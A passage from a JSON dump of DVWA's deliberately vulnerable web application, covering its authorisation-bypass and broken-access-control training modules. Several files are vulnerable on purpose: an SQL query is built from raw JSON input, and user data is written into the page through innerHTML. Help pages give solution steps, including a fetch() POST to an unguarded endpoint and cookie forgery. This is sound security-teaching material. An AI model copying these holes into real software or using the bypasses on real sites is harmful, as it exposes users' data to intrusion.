$this->validateAdd($input)) {\n\t\t\t$gc = new GenericController(\"unprocessable\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$user = new User(null, $input['name'], intval ($input['level']), hash (\"sha256\", \"password\"));\n\t\t$this->data[] = $user;\n\t\t$response['status_code_header'] = 'HTTP/1.1 201 Created';\n\t\t$response['body'] = json_encode($user->toArray($this->version));\n\t\treturn $response;\n\t}\n\n    #[OAT\\Put(\n\t\ttags: [\"user\"],\n        path: '/vulnerabilities/api/v2/user/{id}',\n        operationId: 'updateUser',\n\t\tdescription: 'Update a user by ID.',\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'New user data.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: UserUpdate::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/User'),\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'User not found',\n            ),\n            new OAT\\Response(\n                response: 422,\n                description: 'Invalid user object provided',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function updateUser($id)\n\t{\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (! $this->validateUpdate($input)) {\n\t\t\t$gc = new GenericController(\"unprocessable\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\tif (array_key_exists (\"name\", $input)) {\n\t\t\t$this->data[$id]->name = $input['name'];\n\t\t}\n\t\tif (array_key_exists (\"level\", $input)) {\n\t\t\t$this->data[$id]->level = intval ($input['level']);\n\t\t}\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode ($this->data[$id]->toArray($this->version));\n\t\treturn $response;\n\t}\t\n\n    #[OAT\\Delete(\n\t\ttags: [\"user\"],\n        path: '/vulnerabilities/api/v2/user/{id}',\n        operationId: 'deleteUserById',\n\t\tdescription: 'Delete user by ID.',\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'User not found',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function deleteUser($id) {\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\tunset ($this->data[$id]);\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\n\tpublic function processRequest() {\n\t\tswitch ($this->requestMethod) {\n\t\t\tcase 'GET':\n\t\t\t\tif ($this->userId) {\n\t\t\t\t\t$response = $this->getUser($this->userId);\n\t\t\t\t} else {\n\t\t\t\t\t$response = $this->getAllUsers();\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\tcase 'POST':\n\t\t\t\t$response = $this->addUser();\n\t\t\t\tbreak;\n\t\t\tcase 'PUT':\n\t\t\t\t$response = $this->updateUser($this->userId);\n\t\t\t\tbreak;\n\t\t\tcase 'DELETE':\n\t\t\t\t$response = $this->deleteUser($this->userId);\n\t\t\t\tbreak;\n\t\t\tcase 'OPTIONS':\n\t\t\t\t$gc = new GenericController(\"options\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$gc = new GenericController(\"notSupported\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\texit();\n\t\t\t\tbreak;\n\t\t}\n\t\theader($response['status_code_header']);\n\t\tif ($response['body']) {\n\t\t\techo $response['body'];\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/authbypass/authbypass.js",
    "content": "function show_save_result (data) {\n\tif (data.result == 'ok') {\n\t\tdocument.getElementById('save_result').innerText = 'Save Successful';\n\t} else {\n\t\tdocument.getElementById('save_result').innerText = 'Save Failed';\n\t}\n}\n\t\nfunction submit_change(id) {\n\tfirst_name = document.getElementById('first_name_' + id).value\n\tsurname = document.getElementById('surname_' + id).value\n\n\tfetch('change_user_details.php', {\n\t\tmethod: 'POST',\n\t\theaders: {\n\t\t\t'Accept': 'application/json',\n\t\t\t'Content-Type': 'application/json'\n\t\t},\n\t\tbody: JSON.stringify({ 'id': id, 'first_name': first_name, 'surname': surname })\n\t}\n\t)\n\t.then((response) => response.json())\n\t.then((data) => show_save_result(data));\n}\n\nfunction populate_form() {\n\tvar xhr= new XMLHttpRequest();\n\txhr.open('GET', 'get_user_data.php', true);\n\txhr.onreadystatechange= function() {\n\t\tif (this.readyState!==4) {\n\t\t\treturn;\n\t\t}\n\t\tif (this.status!==200) {\n\t\t\treturn;\n\t\t}\n\t\tconst users = JSON.parse (this.responseText);\n\t\ttable_body = document.getElementById('user_table').getElementsByTagName('tbody')[0];\n\t\tusers.forEach(updateTable);\n\n\t\tfunction updateTable (user) {\n\t\t\tvar row = table_body.insertRow(0);\n\t\t\tvar cell0 = row.insertCell(-1);\n\t\t\tcell0.innerHTML = user['user_id'] + '<input type=\"hidden\" id=\"user_id_' + user['user_id'] + '\" name=\"user_id\" value=\"' + user['user_id'] + '\" />';\n\t\t\tvar cell1 = row.insertCell(1);\n\t\t\tcell1.innerHTML = '<input type=\"text\" id=\"first_name_' + user['user_id'] + '\" name=\"first_name\" value=\"' + user['first_name'] + '\" />';\n\t\t\tvar cell2 = row.insertCell(2);\n\t\t\tcell2.innerHTML = '<input type=\"text\" id=\"surname_' + user['user_id'] + '\" name=\"surname\" value=\"' + user['surname'] + '\" />';\n\t\t\tvar cell3 = row.insertCell(3);\n\t\t\tcell3.innerHTML = '<input type=\"button\" value=\"Update\" onclick=\"submit_change(' + user['user_id'] + ')\" />';\n\t\t}\n\t};\n\txhr.send();\n}\n"
  },
  {
    "path": "vulnerabilities/authbypass/change_user_details.php",
    "content": "<?php\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaDatabaseConnect();\n\n/*\nOn impossible only the admin is allowed to retrieve the data.\n*/\n\nif (dvwaSecurityLevelGet() == \"impossible\" && dvwaCurrentUser() != \"admin\") {\n\tprint json_encode (array (\"result\" => \"fail\", \"error\" => \"Access denied\"));\n\texit;\n}\n\nif ($_SERVER['REQUEST_METHOD'] != \"POST\") {\n\t$result = array (\n\t\t\t\t\t\t\"result\" => \"fail\",\n\t\t\t\t\t\t\"error\" => \"Only POST requests are accepted\"\n\t\t\t\t\t);\n\techo json_encode($result);\n\texit;\n}\n\ntry {\n\t$json = file_get_contents('php://input');\n\t$data = json_decode($json);\n\tif (is_null ($data)) {\n\t\t$result = array (\n\t\t\t\t\t\t\t\"result\" => \"fail\",\n\t\t\t\t\t\t\t\"error\" => 'Invalid format, expecting \"{id: {user ID}, first_name: \"{first name}\", surname: \"{surname}\"}'\n\n\t\t\t\t\t\t);\n\t\techo json_encode($result);\n\t\texit;\n\t}\n} catch (Exception $e) {\n\t$result = array (\n\t\t\t\t\t\t\"result\" => \"fail\",\n\t\t\t\t\t\t\"error\" => 'Invalid format, expecting \\\"{id: {user ID}, first_name: \"{first name}\", surname: \"{surname}\\\"}'\n\n\t\t\t\t\t);\n\techo json_encode($result);\n\texit;\n}\n\n$query = \"UPDATE users SET first_name = '\" . $data->first_name . \"', last_name = '\" .  $data->surname . \"' where user_id = \" . $data->id . \"\";\n$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\n\nprint json_encode (array (\"result\" => \"ok\"));\nexit;\n?>\n"
  },
  {
    "path": "vulnerabilities/authbypass/get_user_data.php",
    "content": "<?php\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaDatabaseConnect();\n\n/*\nOn high and impossible, only the admin is allowed to retrieve the data.\n*/\nif ((dvwaSecurityLevelGet() == \"high\" || dvwaSecurityLevelGet() == \"impossible\") && dvwaCurrentUser() != \"admin\") {\n\tprint json_encode (array (\"result\" => \"fail\", \"error\" => \"Access denied\"));\n\texit;\n}\n\n$query  = \"SELECT user_id, first_name, last_name FROM users\";\n$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query );\n\n$guestbook = ''; \n$users = array();\n\nwhile ($row = mysqli_fetch_row($result) ) { \n\tif( dvwaSecurityLevelGet() == 'impossible' ) { \n\t\t$user_id = $row[0];\n\t\t$first_name = htmlspecialchars( $row[1] );\n\t\t$surname = htmlspecialchars( $row[2] );\n\t} else {\n\t\t$user_id = $row[0];\n\t\t$first_name = $row[1];\n\t\t$surname = $row[2];\n\t}   \n\n\t$user = array (\n\t\t\t\t\t\"user_id\" => $user_id,\n\t\t\t\t\t\"first_name\" => $first_name,\n\t\t\t\t\t\"surname\" => $surname\n\t\t\t\t);\n\t$users[] = $user;\n}\n\nprint json_encode ($users);\nexit;\n?>\n"
  },
  {
    "path": "vulnerabilities/authbypass/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Authorisation Bypass</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>\r\n\t\t\tWhen developers have to build authorisation matrices into complex systems it is easy for them to miss adding the right checks in every place, especially those\r\n\t\t\twhich are not directly accessible through a browser, for example API calls.\r\n\t\t</p>\r\n\r\n\t\t<p>\r\n\t\t\tAs a tester, you need to be looking at every call a system makes and then testing it using every level of user to ensure that the checks are being carried out correctly.\r\n\t\t\tThis can often be a long and boring task, especially with a large matrix with lots of different user types, but it is critical that the testing is carried out as one missed\r\n\t\t\tcheck could lead to an attacker gaining access to confidential data or functions.\r\n\t\t</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Your goal is to test this user management system at all four security levels to identify any areas where authorisation checks have been missed.</p>\r\n\t\t<p>The system is only designed to be accessed by the admin user, so have a look at all the calls made while logged in as the admin, and then try to reproduce them while logged in as different user.</p>\r\n\t\t<p>If you need a second user, you can use <i>gordonb / abc123</i>.\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Non-admin users do not have the 'Authorisation Bypass' menu option.</p>\r\n\t\t<p>Spoiler: <span class=\"spoiler\">Try browsing directly to /vulnerabilities/authbypass/</span>.</p>\r\n\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has locked down access to the HTML for the page, but have a look how the page is populated when logged in as the admin.</p>\r\n\t\t<p>Spoiler: <span class=\"spoiler\">Try browsing directly to /vulnerabilities/authbypass/get_user_data.php to access the API which returns the user data for the page.</span></p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>Both the HTML page and the API to retrieve data have been locked down, but what about updating data? You have to make sure you test every call to the site.</p>\r\n\t\t<p>Spoiler: <span class=\"spoiler\">GET calls to retrieve data have been locked down but the POST to update the data has been missed, can you figure out how to call it?</span></p>\r\n\r\n\t\t<p>Spoiler: <span class=\"spoiler\">This is one way to do it:</p>\r\n\r\n\t\t<pre><span class=\"spoiler\">fetch('change_user_details.php', {\r\nmethod: 'POST',\r\nheaders: {\r\n'Accept': 'application/json',\r\n'Content-Type': 'application/json'\r\n},\r\nbody: JSON.stringify({ 'id':1, \"first_name\": \"Harry\", \"surname\": \"Hacker\" })\r\n}\r\n)\r\n.then((response) => response.json())\r\n.then((data) => console.log(data));\r\n</span></pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>\r\n\t\t\tHopefully on this level all the functions correctly check authorisation before allowing access to the data.\r\n\t\t</p>\r\n\t\t<p>\r\n\t\t\tThere may however be some non-authorisation related issues on the page, so do not write it off as fully secure.\r\n\t\t</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication' ); ?></p>\r\n\t\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/authbypass/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Authorisation Bypass' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'authbypass';\r\n$page[ 'help_button' ]   = 'authbypass';\r\n$page[ 'source_button' ] = 'authbypass';\r\ndvwaDatabaseConnect();\r\n\r\n$method            = 'GET';\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\t$method = 'POST';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/authbypass/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= '\r\n<div class=\"body_padded\">\r\n\t<h1>Vulnerability: Authorisation Bypass</h1>\r\n\r\n\t<p>This page should only be accessible by the admin user. Your challenge is to gain access to the features using one of the other users, for example <i>gordonb</i> / <i>abc123</i>.</p>\r\n\r\n\t<div class=\"vulnerable_code_area\">\r\n\t<div style=\"font-weight: bold;color: red;font-size: 120%;\" id=\"save_result\"></div>\r\n\t<div id=\"user_form\"></div>\r\n\t<p>\r\n\t\tWelcome to the user manager, please enjoy updating your user\\'s details.\r\n\t</p>\r\n\t';\r\n\r\n$page[ 'body' ] .= \"\r\n<script src='authbypass.js'></script>\r\n\r\n<table id='user_table'>\r\n\t<thead>\r\n\t\t<th>ID</th>\r\n\t\t<th>First Name</th>\r\n\t\t<th>Surname</th>\r\n\t\t<th>Update</th>\r\n\t</thead>\r\n\t<tbody>\r\n\t</tbody>\r\n</table>\r\n\r\n<script>\r\n\tpopulate_form();\r\n</script>\r\n\";\r\n\r\n$page[ 'body' ] .= '\r\n\t\t' . \r\n\t\t$html\r\n\t\t. '\r\n\t</div>\r\n</div>';\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/authbypass/source/high.php",
    "content": "<?php\r\n/*\r\n\r\nOnly the admin user is allowed to access this page.\r\n\r\nHave a look at this file for possible vulnerabilities: \r\n\r\n* vulnerabilities/authbypass/change_user_details.php\r\n\r\n*/\r\n\r\nif (dvwaCurrentUser() != \"admin\") {\r\n\tprint \"Unauthorised\";\r\n\thttp_response_code(403);\r\n\texit;\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/authbypass/source/impossible.php",
    "content": "<?php\r\n/*\r\n\r\nOnly the admin user is allowed to access this page\r\n\r\n*/\r\n\r\nif (dvwaCurrentUser() != \"admin\") {\r\n\tprint \"Unauthorised\";\r\n\thttp_response_code(403);\r\n\texit;\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/authbypass/source/low.php",
    "content": "<?php\r\n/*\r\n\r\nNothing to see here for this vulnerability, have a look\r\ninstead at the dvwaHtmlEcho function in:\r\n\r\n* dvwa/includes/dvwaPage.inc.php\r\n\r\n*/\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/authbypass/source/medium.php",
    "content": "<?php\r\n/*\r\n\r\nOnly the admin user is allowed to access this page.\r\n\r\nHave a look at these two files for possible vulnerabilities: \r\n\r\n* vulnerabilities/authbypass/get_user_data.php\r\n* vulnerabilities/authbypass/change_user_details.php\r\n\r\n*/\r\n\r\nif (dvwaCurrentUser() != \"admin\") {\r\n\tprint \"Unauthorised\";\r\n\thttp_response_code(403);\r\n\texit;\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/bac/README.md",
    "content": "# Broken Access Control Module - DVWA\n\nThis module demonstrates OWASP Top 10 2021's #1 vulnerability: Broken Access Control (BAC). It provides a practical learning environment showing how access control vulnerabilities can be exploited and properly mitigated.\n\n## Module Overview\n\nThe module simulates a user profile viewing system with progressive security levels:\n\n### Security Levels\n\n#### 1. Low Security\n- Basic input validation for user ID format\n- No access control checks\n- Direct SQL queries without sanitization\n- Vulnerable to SQL injection and unauthorized access\n\n#### 2. Medium Security\n- Input validation for user ID format\n- Basic cookie-based authentication\n- Integer type casting for basic SQL injection protection\n- Vulnerable to cookie manipulation\n\n#### 3. High Security\n- Strict input validation\n- Role-based access control (RBAC)\n- Prepared statements for SQL injection prevention\n- Output encoding to prevent XSS\n- Basic security logging\n- Still vulnerable to certain timing attacks\n\n#### 4. Impossible Security\n- Comprehensive security implementation:\n  - Multi-layer input validation\n  - Rate limiting\n  - Proper RBAC implementation\n  - Prepared statements\n  - Comprehensive logging\n  - Security monitoring\n  - Suspicious activity detection\n\n## Common Security Features\n\n1. Input Validation\n   - All levels validate user ID format using regex: `/^\\d+$/`\n   - Clear error messages for invalid input\n   - Additional validation layers in higher security levels\n\n2. Access Control\n   - Progressive implementation from none to comprehensive RBAC\n   - Session validation\n   - Role-based permissions\n\n3. Database Security\n   - Progression from raw queries to prepared statements\n   - User role management\n   - Audit logging capabilities\n\n## Database Schema\n\n```sql\n-- Users table modifications\nALTER TABLE users ADD COLUMN role VARCHAR(20) DEFAULT 'user';\nALTER TABLE users ADD COLUMN account_enabled TINYINT(1) DEFAULT 1;\n\n-- Access logging\nCREATE TABLE access_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    target_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    timestamp DATETIME NOT NULL\n);\n\n-- Security monitoring\nCREATE TABLE security_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    target_id VARCHAR(50),\n    timestamp DATETIME NOT NULL,\n    ip_address VARCHAR(45)\n);\n```\n\n## Security Testing Guide\n\n1. Input Validation Testing\n   - Try non-numeric user IDs\n   - Attempt SQL injection\n   - Test with special characters\n\n2. Access Control Testing\n   - Attempt to view other users' profiles\n   - Test admin role functionality\n   - Try cookie manipulation\n\n3. Rate Limiting Testing\n   - Make multiple rapid requests\n   - Test blocking mechanism\n   - Verify logging of attempts\n\n## References\n\n- [OWASP Top 10 2021 - A01:2021 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- [OWASP Testing Guide - Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)\n"
  },
  {
    "path": "vulnerabilities/bac/help/help.php",
    "content": "<div class=\"body_padded\">\n\t<h1>Help - Broken Access Control</h1>\n\n\t<div id=\"code\">\n\t\t<table width=\"100%\" bgcolor=\"white\" style=\"border:2px #C0C0C0 solid\">\n\t\t\t<tr>\n\t\t\t\t<td>\n\t\t\t\t\t<div id=\"code\">\n\t\t\t\t\t\t<h3>About</h3>\n\t\t\t\t\t\t<p>Broken Access Control (BAC) refers to a situation where an application fails to properly\n\t\t\t\t\t\t\tenforce restrictions on what authenticated users are allowed to do.\n\t\t\t\t\t\t\tThis vulnerability occurs when a user can access resources or perform actions that should be\n\t\t\t\t\t\t\trestricted to them.</p>\n\n\t\t\t\t\t\t<br />\n\t\t\t\t\t\t<hr /><br />\n\n\t\t\t\t\t\t<h3>Objective</h3>\n\t\t\t\t\t\t<p>Your goal is to bypass the access controls to view other users' profiles that you should not\n\t\t\t\t\t\t\thave access to. Each security level implements different types of access controls with\n\t\t\t\t\t\t\tvarying degrees of effectiveness.</p>\n\n\t\t\t\t\t\t<br />\n\t\t\t\t\t\t<hr />\n\n\t\t\t\t\t\t<h3>Low Level</h3>\n\t\t\t\t\t\t<p><strong>Hint:</strong> The application uses a simple cookie-based verification system. Can you\n\t\t\t\t\t\t\tspot how the access is being checked?</p>\n\n\t\t\t\t\t\t<div class=\"vulnerable_code_area\">\n\t\t\t\t\t\t\t<h3>Solution</h3>\n\t\t\t\t\t\t\t<button class=\"popup_button\" onclick=\"toggle_visibility('low_solution')\">Show\n\t\t\t\t\t\t\t\tSolution</button>\n\t\t\t\t\t\t\t\t<br>\n\n\t\t\t\t\t\t\t<div id=\"low_solution\" style=\"display: none;\">\n\t\t\t\t\t\t\t\tThe low level can be bypassed by:\n\t\t\t\t\t\t\t\t<ol>\n\t\t\t\t\t\t\t\t\t<li>Opening your browser's developer tools (F12)</li>\n\t\t\t\t\t\t\t\t\t<li>Going to the Application/Storage tab</li>\n\t\t\t\t\t\t\t\t\t<li>Creating a new cookie named <code>user_id</code></li>\n\t\t\t\t\t\t\t\t\t<li>Setting its value to the ID of the user you want to view</li>\n\t\t\t\t\t\t\t\t\t<li>Accessing any user's profile by changing the user_id parameter in the URL</li>\n\t\t\t\t\t\t\t\t</ol>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<br />\n\n\t\t\t\t\t\t<h3>Medium Level</h3>\n\t\t\t\t\t\t<p><strong>Hint:</strong> The application uses cookies to determine user roles. What tools in\n\t\t\t\t\t\t\tyour browser might help you examine and modify these?</p>\n\n\t\t\t\t\t\t<div class=\"vulnerable_code_area\">\n\t\t\t\t\t\t\t<h3>Solution</h3>\n\t\t\t\t\t\t\t<button class=\"popup_button\" onclick=\"toggle_visibility('medium_solution')\">Show\n\t\t\t\t\t\t\t\tSolution</button>\n\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t<div id=\"medium_solution\" style=\"display: none;\">\n\t\t\t\t\t\t\t\tThe medium level can be bypassed by:\n\t\t\t\t\t\t\t\t<ol>\n\t\t\t\t\t\t\t\t\t<li>Opening your browser's developer tools (F12)</li>\n\t\t\t\t\t\t\t\t\t<li>Going to the Application/Storage tab</li>\n\t\t\t\t\t\t\t\t\t<li>Finding the <code>user_role</code> cookie</li>\n\t\t\t\t\t\t\t\t\t<li>Changing its value from <code>regular_user</code> to <code>admin</code></li>\n\t\t\t\t\t\t\t\t\t<li>Refreshing the page to access any profile</li>\n\t\t\t\t\t\t\t\t</ol>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<br />\n\n\t\t\t\t\t\t<h3>High Level</h3>\n\t\t\t\t\t\t<p><strong>Hint:</strong> The application uses session-based authentication and cookies to control access. Look carefully at how the session and cookies are validated.</p>\n\n\t\t\t\t\t\t<div class=\"vulnerable_code_area\">\n\t\t\t\t\t\t\t<h3>Solution</h3>\n\t\t\t\t\t\t\t<button class=\"popup_button\" onclick=\"toggle_visibility('high_solution')\">Show Solution</button>\n\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t<div id=\"high_solution\" style=\"display: none;\">\n\t\t\t\t\t\t\t\tThe high level can be bypassed using these steps:\n\t\t\t\t\t\t\t\t<ol>\n\t\t\t\t\t\t\t\t\t<li>Notice that the application uses a cookie named 'user_id' to determine which profiles you can access</li>\n\t\t\t\t\t\t\t\t\t<li>Open your browser's developer tools (F12) and go to the Application/Storage tab</li>\n\t\t\t\t\t\t\t\t\t<li>Find the 'user_id' cookie</li>\n\t\t\t\t\t\t\t\t\t<li>Change the cookie value to match the ID of the user whose profile you want to view</li>\n\t\t\t\t\t\t\t\t\t<li>For example, to view user ID 2's profile:\n\t\t\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t\t\t<li>Set the 'user_id' cookie to '2'</li>\n\t\t\t\t\t\t\t\t\t\t\t<li>Access the URL: <code>vulnerabilities/bac/?user_id=2</code></li>\n\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<li>The application will think you are the user with that ID and grant access</li>\n\t\t\t\t\t\t\t\t</ol>\n\t\t\t\t\t\t\t\t<p><strong>Why this works:</strong> The high level implementation trusts the user_id cookie without proper validation, assuming that users won't modify their cookies. This is a common security mistake where client-side data is trusted without server-side verification.</p>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<br />\n\n\t\t\t\t\t\t<h3>Impossible Level</h3>\n\t\t\t\t\t\t<p>This level implements proper access controls with multiple security layers:</p>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li>Comprehensive session security with fingerprinting</li>\n\t\t\t\t\t\t\t<li>Rate limiting to prevent brute force attempts</li>\n\t\t\t\t\t\t\t<li>Proper RBAC implementation with granular permissions</li>\n\t\t\t\t\t\t\t<li>Prepared statements for all database queries</li>\n\t\t\t\t\t\t\t<li>Extensive logging and monitoring</li>\n\t\t\t\t\t\t\t<li>Session timeout and regeneration</li>\n\t\t\t\t\t\t</ul>\n\n\t\t\t\t\t\t<br />\n\t\t\t\t\t\t<hr /><br />\n\n\t\t\t\t\t\t<h3>Security Logs</h3>\n\t\t\t\t\t\t<p>All access attempts are logged, including the IP address of the request. The application uses\n\t\t\t\t\t\t\tthe X-Forwarded-For header when available,\n\t\t\t\t\t\t\twhich means the logs can be manipulated by setting this header.</p>\n\n\t\t\t\t\t\t<br />\n\n\t\t\t\t\t\t<h3>More Information</h3>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><a href=\"https://owasp.org/Top10/A01_2021-Broken_Access_Control/\" target=\"_blank\">OWASP\n\t\t\t\t\t\t\t\t\tTop 10 2021 - Broken Access Control</a></li>\n\t\t\t\t\t\t\t<li><a href=\"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema\"\n\t\t\t\t\t\t\t\t\ttarget=\"_blank\">OWASP Testing Guide - Authorization Testing</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</div>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t</table>\n\t</div>\n</div>\n\n<script>\nfunction toggle_visibility(id) {\n    var e = document.getElementById(id);\n    if (e.style.display === \"block\") {\n        e.style.display = \"none\";\n    } else {\n        e.style.display = \"block\";\n    }\n}\n</script>"
  },
  {
    "path": "vulnerabilities/bac/index.php",
    "content": "<?php\nif (!defined('DVWA_WEB_PAGE_TO_ROOT')) {\n    define('DVWA_WEB_PAGE_TO_ROOT', '../../');\n}\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup(array('authenticated', 'phpids'));\ndvwaDatabaseConnect();\n\n$page = dvwaPageNewGrab();\n$page['title'] = 'Vulnerability: Broken Access Control' . $page['title_separator'] . $page['title'];\n$page['page_id'] = 'bac';\n$page['help_button'] = 'bac';\n$page['source_button'] = 'bac';\n\n// Create required tables if they don't exist\nfunction setupRequiredTables()\n{\n    // Create bac_log table if it doesn't exist\n    $query = \"CREATE TABLE IF NOT EXISTS bac_log (\n        id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n        user_id INT(6) NULL,\n        target_id INT(6) NULL,\n        ip_address VARCHAR(50) NULL,\n        action VARCHAR(50) NULL,\n        timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n    )\";\n    mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\n\n    // Add role column to users table if it doesn't exist\n    $result = mysqli_query($GLOBALS[\"___mysqli_ston\"], \"SHOW COLUMNS FROM users LIKE 'role'\");\n    if (!$result || mysqli_num_rows($result) == 0) {\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], \"ALTER TABLE users ADD COLUMN role VARCHAR(10) DEFAULT 'user'\");\n        // Set admin role for admin user\n        mysqli_query($GLOBALS[\"___mysqli_ston\"], \"UPDATE users SET role = 'admin' WHERE user = 'admin'\");\n    }\n}\n\n// Setup tables\nsetupRequiredTables();\n\n// Handle log viewing\n$html = '';\n\n// Add log viewing functionality\n$html .= \"<div 